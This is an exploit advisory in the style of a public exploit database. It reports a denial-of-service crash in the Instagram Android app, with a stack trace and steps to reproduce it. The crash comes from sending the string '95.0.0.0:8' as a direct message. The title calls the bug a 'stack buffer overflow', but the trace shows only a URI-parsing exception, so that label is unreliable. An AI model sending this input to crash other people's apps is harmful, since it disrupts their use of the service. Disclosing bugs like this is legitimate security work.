# Exploit Title: Instagram App 287.0.0.22.85 - Local Stack Buffer Overflow (Dos)
# Date: 2023-06-13
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.instagram.com
# Version: 287.0.0.22.85
# Tested on: Android 12
/**
#Stack Trace:
***************************************************
#OF:
Package name: com.instagram.android
Package version: 368407140
Process name: com.instagram.android
***************************************************
Caused by: java.net.URISyntaxException: Illegal character
in scheme name at index 0: 95.0.0.0:8
at java.net.URISParser.fail(URI.java:2893)
at java.net.URISParser.checkChars(URI.java:3066)
at java.net.URISParser.checkChar(URl.java:3076)
at java.net.URISParser.parse(URI.java:3092)
at java.net.URI.<init>(URI.java:584)
at X.BI5.A00(:1361229)
at X.BpQ.DMb(:73)
at X.6FI.DMd(:7)
at X.6Fn.A03(:10)
at X.110.DMe(:11)
at X.1ly.A03(:25)
at X.1lo.DMe(:11)
at X.11LAOW(:7)
at X.115.A03(:37)
at X.115.A02(:2)
at X.B90.A05(:1350672)
at X.BR2.onClick(:562)
at android.view.View.performClick(View.java:7763)
***************************************************
#Crash:
Exception class name: java.net.URISyntaxException
Source file: URI java
Source class: java.net.URISParser
Source method: fail
Line number: 2893
***************************************************
*/
# [ About App ]
#Instagram is a photo and video sharing social networking service owned by American company Meta Platforms,
#The app allows users to upload media that can be edited with filters and organized by hashtags and geographical tagging,
#Posts can be shared publicly or with preapproved followers. Users can browse other users' #content by tag and location,
#view trending content, like photos, and follow other users to add their content to a personal feed.
# [ Description ]
#Instagram is sensitive to illegal character, that's why Instagram closes after sending a message.
# [ POC ]
# 1.Enter the Instagram app
# 2.In the messages section, select a user to send a message
# 3.Enter illegal characters "95.0.0.0:8" in the message field
# 4.Click "Send"
# 5.Instagram Stopped :)
